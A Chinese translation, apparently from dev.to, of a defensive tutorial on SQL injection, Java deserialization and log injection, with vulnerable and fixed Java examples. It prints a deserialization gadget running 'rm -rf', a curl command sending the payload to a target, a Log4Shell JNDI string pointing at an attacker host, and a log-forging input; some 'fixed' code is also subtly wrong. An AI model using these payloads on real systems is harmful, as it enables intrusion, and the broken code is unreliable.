0

0

目前隐藏在代码中的主要安全缺陷 - 以及如何修复它们

PHPz

PHPz

发布时间:2024-08-28 21:46:23

|

792人浏览过

|

来源于dev.to

转载

据报道,2019 年著名游戏《堡垒之夜》中的一次著名漏洞使数百万玩家面临遭受恶意软件攻击的风险。该事件凸显了正确保护 sql 数据库安全的重要性。

但这不是一个孤立的问题。

涉及 sql 注入的多起攻击已经发生,就像特斯拉在 2018 年经历的那样。当时,另一场 sql 注入攻击影响了特斯拉的 kubernetes 控制台,导致未经授权的加密货币挖矿活动造成经济损失。

但这不仅仅是关于 sql 注入。

您的代码现在可能会遭受其他攻击媒介,就像大公司过去遭受的攻击一样。

2021 年 log4j 库中名为 log4shell 的攻击涉及日志注入攻击,迄今为止影响了全球数百万台服务器,或者 2022 年 atlassian jira 中发生的攻击涉及影响多个 jira 版本的反序列化攻击,导致全部数据丢失控制权交给攻击者。

这可能发生在任何人身上,甚至是你。

在本文中,我将讨论代码中最常见的 3 种攻击:sql 注入、反序列化注入和日志注入,以及如何解决它们。

sql注入

在数据库中存储信息的应用程序通常使用用户生成的值来检查权限、存储信息或简单地检索存储在表、文档、点、节点等中的数据。

此时,当我们的应用程序使用这些值时,不当使用可能会允许攻击者引入发送到数据库的额外查询以检索不允许的值,甚至修改这些表以获得访问权限。

以下代码根据登录页面中提供的用户名从数据库中检索用户。一切似乎都很好。

目前隐藏在代码中的主要安全缺陷 - 以及如何修复它们

public list findusers(string user, string pass) throws exception {
       string query = "select userid from users " +
                   "where username='" + user + "' and password='" + pass + "'";
       statement statement = connection.createstatement();
       resultset resultset = statement.executequery(query);
       list users = new arraylist();
       while (resultset.next()) {
           users.add(resultset.getstring(0));
       }
       return users;
   }

但是,当攻击者使用注入技术时,这段使用字符串插值的代码将导致意外结果,从而允许攻击者登录到应用程序。

目前隐藏在代码中的主要安全缺陷 - 以及如何修复它们

为了解决这个问题,我们将这种方法从使用字符串连接更改为参数注入。事实上,就性能和安全性而言,字符串连接通常是一个坏主意。

string query = "select userid from users " +
               "where username='" + user + "' and password='" + pass + "'";

将 sql 字符串中直接包含的参数值更改为我们稍后可以引用的参数将解决查询被黑的问题。

 string query = "select userid from users where username = ? and password = ?";

我们的固定代码将如下所示,包含preparestatement和每个参数的值设置。

    public list findusers(string user, string pass) throws exception {
       string query = "select userid from users where username = ? and password = ?";
       try (preparedstatement statement = connection.preparestatement(query)) {
           statement.setstring(1, user);
           statement.setstring(2, pass);
           resultset resultset = statement.executequery(query);
           list users = new arraylist();
           while (resultset.next()) {
               users.add(resultset.getstring(0));
           }
           return users;
       }
    }

可以在此处找到帮助检测 sql 注入漏洞的 sonarqube 和 sonarcloud 规则

反序列化注入

反序列化是将数据从序列化格式(如字节流、字符串或文件)转换回程序可以使用的对象或数据结构的过程。

反序列化的常见用法包括以 json 结构的形式在 api 和 web 服务之间发送数据,或者在现代应用程序中以 protobuf 消息的形式使用 rpc(远程过程调用)。

如果不实施清理或检查步骤,将消息有效负载转换为对象可能会涉及严重漏洞。

   protected void doget(httpservletrequest request, httpservletresponse response) {
       servletinputstream servletis = request.getinputstream();
       objectinputstream  objectis  = new objectinputstream(servletis);
       user user                 = (user) objectis.readobject();
     }
   class user implements serializable {
       private static final long serialversionuid = 1l;
       private string name;

       public user(string name) {
           this.name = name;
       }

       public string getname() {
           return name;
       }
   }

我们可以在这里看到我们正在使用 objectis,这是来自请求输入流中的用户的直接值,并将其转换为新对象。
我们希望该值始终是我们的应用程序使用的类之一。当然,我们的客户永远不会发送任何其他东西,对吧?他们会吗?

但是如果恶意客户端在请求中发送另一个类怎么办?

   public class exploit implements serializable {
       private static final long serialversionuid = 1l;

       public exploit() {
           // malicious action: delete a file
           try {
               runtime.getruntime().exec("rm -rf /tmp/vulnerable.txt");
           } catch (exception e) {
               e.printstacktrace();
           }
       }
   }

在本例中,我们有一个类在默认构造函数期间删除文件,这将在之前的 readobject 调用中发生。

攻击者只需序列化该类并将其发送到 api :

   exploit exploit = new exploit();
   fileoutputstream fileout = new fileoutputstream("exploit.ser");
   objectoutputstream out = new objectoutputstream(fileout);
   out.writeobject(exploit);
...
$ curl -x post --data-binary @exploit.ser http://vulnerable-api.com/user

幸运的是,有一个简单的方法可以解决这个问题。在创建对象之前,我们需要检查要反序列化的类是否来自允许的类型之一。

在上面的代码中,我们创建了一个新的 objectinputstream,其中覆盖了包含类名检查的“resolveclass”方法。我们使用这个新类 secureobjectinputstream 来获取对象流。但在将流读入对象(用户)之前,我们会进行允许列表检查。

LobeHub
LobeHub

LobeChat brings you the best user experience of ChatGPT, OLLaMA, Gemini, Claude

下载
 public class secureobjectinputstream extends objectinputstream {
   private static final set allowed_classes = set.of(user.class.getname());
   @override
   protected class resolveclass(objectstreamclass osc) throws ioexception, classnotfoundexception {
     if (!allowed_classes.contains(osc.getname())) {
       throw new invalidclassexception("unauthorized deserialization", osc.getname());
     }
     return super.resolveclass(osc);
   }
 }
...
 public class requestprocessor {
   protected void doget(httpservletrequest request, httpservletresponse response) {
     servletinputstream servletis = request.getinputstream();
     objectinputstream  objectis  = new secureobjectinputstream(servletis);
     user input                 = (user) objectis.readobject();
   }
 }

可以在此处找到帮助检测反序列化注入漏洞的 sonarcloud/sonarqube 和 sonarlint 规则

记录注入

日志系统是一种软件组件或服务,旨在记录应用程序、系统或设备生成的事件、消息和其他数据。日志对于监控、故障排除、审核和分析软件和系统行为及性能至关重要。

通常,这些应用程序会记录失败、登录尝试甚至成功,以便在最终出现问题时帮助调试。

但是,它们也可能成为攻击媒介。

日志注入是一种安全漏洞,攻击者可以通过向日志文件注入恶意输入来操纵日志文件。如果日志没有得到适当的清理,可能会导致一些安全问题。

当攻击者修改日志内容以破坏日志内容或添加虚假信息以使其难以分析或破坏日志解析器时,我们可以发现诸如日志伪造和污染之类的问题,以及日志管理系统漏洞,攻击者将在其中发现日志管理系统漏洞注入日志以利用日志管理系统中的漏洞,导致进一步的攻击,例如远程代码执行。

让我们考虑下面的代码,我们从用户那里获取一个值并记录它。

   public void doget(httpservletrequest request, httpservletresponse response) {
       string user = request.getparameter("user");
       if (user != null){
         logger.log(level.info, "user: {0} login in", user);
       }
   }

看起来无害,对吧?

但是如果攻击者尝试使用该用户登录怎么办?

 john login in\n2024-08-19 12:34:56 info user 'admin' login in

目前隐藏在代码中的主要安全缺陷 - 以及如何修复它们

这显然是一个错误的用户名,并且会失败。但是,它会被记录下来,检查日志的人会感到非常困惑

   2024-08-19 12:34:56 info user 'john' login in 
   2024-08-19 12:34:56 error user 'admin' login in 

或者更糟!如果攻击者知道系统使用的是未修补的 log4j 版本,他们可以以用户身份发送以下值,系统将遭受远程执行。攻击者控制的 ldap 服务器通过对远程服务器上托管的恶意 java 类的引用进行响应。易受攻击的应用程序下载并执行此类,从而使攻击者能够控制服务器。

    $ { jndi:ldap://malicious-server.com/a}

但是我们可以轻松预防这些问题。

清理要记录的值对于避免日志伪造漏洞非常重要,因为它可能导致用户伪造的输出混乱。

     // log the sanitised username
     string user = sanitiseinput(request.getparameter("user"));
   }

  private string sanitiseinput(string input) {
     // replace newline and carriage return characters with a safe placeholder
     if (input != null) {
       input = input.replaceall("[\\n\\r]", "_");
     }
     return input;
   }

我们将在日志中看到的结果如下,现在可以更轻松地看到所有日志都属于对日志系统的同一调用。

   2024-08-19 12:34:56 info user 'john' login in_2024-08-19 12:34:56 error user 'admin' login in 

为了防止日志系统被利用,尽可能将我们的库更新到最新的稳定版本非常重要。对于 log4j,该修复将禁用该功能。我们还可以手动禁用 jndi。

     -dlog4j2.formatmsgnolookups=true

如果您仍然需要使用 jndi,那么只需根据允许的目的地列表检查目的地,常见的清理过程就可以避免恶意攻击。

public class allowedlistjndicontextfactory implements initialcontextfactory {
   // define your list of allowed jndi urls
   private static final list allowed_jndi_prefixes = arrays.aslist(
       "ldap://trusted-server.com",
       "ldaps://secure-server.com"
   );

   @override
   public context getinitialcontext(hashtable environment) throws namingexception {
       string providerurl = (string) environment.get(context.provider_url);

       if (isallowed(providerurl)) {
           return new initialcontext(environment); 
       } else {
           throw new namingexception("jndi lookup " + providerurl + " not allowed");
       }
   }

   private boolean isallowed(string url) {
       if (url == null) {
           return false;
       }
       for (string allowedprefix : allowed_jndi_prefixes) {
           if (url.startswith(allowedprefix)) {
               return true;
           }
       }
       return false;
   }
}

并配置我们的系统以使用过滤上下文工厂。

-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory

可以在此处找到帮助检测日志注入漏洞的 sonarcloud/sonarqube 和 sonarlint 规则

结论

安全漏洞不仅仅是理论上的问题,而是已经影响到大公司的实际威胁,导致重大的财务和声誉损失。

从 sql 注入到反序列化和日志记录注入,这些攻击媒介非常普遍,如果处理不当,很容易利用不安全的代码。

通过了解这些漏洞的性质并实施建议的修复程序,例如使用参数化查询、避免不安全的反序列化实践以及正确保护日志框架,开发人员可以显着降低这些攻击的风险。

主动的安全措施对于保护您的应用程序免遭这些广泛且具有破坏性的攻击的下一个受害者至关重要。

sonar 提供免费开源工具,例如 sonarlint、sonarqube 和 sonarcloud,可以检测、警告所有这些漏洞并提出修复建议。

相关专题

更多
java
java

Java是一个通用术语,用于表示Java软件及其组件,包括“Java运行时环境 (JRE)”、“Java虚拟机 (JVM)”以及“插件”。php中文网还为大家带了Java相关下载资源、相关课程以及相关文章等内容,供大家免费下载使用。

841

2023.06.15

java正则表达式语法
java正则表达式语法

java正则表达式语法是一种模式匹配工具,它非常有用,可以在处理文本和字符串时快速地查找、替换、验证和提取特定的模式和数据。本专题提供java正则表达式语法的相关文章、下载和专题,供大家免费下载体验。

742

2023.07.05

java自学难吗
java自学难吗

Java自学并不难。Java语言相对于其他一些编程语言而言,有着较为简洁和易读的语法,本专题为大家提供java自学难吗相关的文章,大家可以免费体验。

738

2023.07.31

java配置jdk环境变量
java配置jdk环境变量

Java是一种广泛使用的高级编程语言,用于开发各种类型的应用程序。为了能够在计算机上正确运行和编译Java代码,需要正确配置Java Development Kit(JDK)环境变量。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

397

2023.08.01

java保留两位小数
java保留两位小数

Java是一种广泛应用于编程领域的高级编程语言。在Java中,保留两位小数是指在进行数值计算或输出时,限制小数部分只有两位有效数字,并将多余的位数进行四舍五入或截取。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

399

2023.08.02

java基本数据类型
java基本数据类型

java基本数据类型有:1、byte;2、short;3、int;4、long;5、float;6、double;7、char;8、boolean。本专题为大家提供java基本数据类型的相关的文章、下载、课程内容,供大家免费下载体验。

446

2023.08.02

java有什么用
java有什么用

java可以开发应用程序、移动应用、Web应用、企业级应用、嵌入式系统等方面。本专题为大家提供java有什么用的相关的文章、下载、课程内容,供大家免费下载体验。

430

2023.08.02

java在线网站
java在线网站

Java在线网站是指提供Java编程学习、实践和交流平台的网络服务。近年来,随着Java语言在软件开发领域的广泛应用,越来越多的人对Java编程感兴趣,并希望能够通过在线网站来学习和提高自己的Java编程技能。php中文网给大家带来了相关的视频、教程以及文章,欢迎大家前来学习阅读和下载。

16926

2023.08.03

Java编译相关教程合集
Java编译相关教程合集

本专题整合了Java编译相关教程,阅读专题下面的文章了解更多详细内容。

9

2026.01.21

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
简单聊聊mysql8与网络通信
简单聊聊mysql8与网络通信

共1课时 | 805人学习

PHP数字签名与加密解密
PHP数字签名与加密解密

共12课时 | 1.3万人学习

Codeigniter 3 中文开发手册
Codeigniter 3 中文开发手册

共0课时 | 0人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号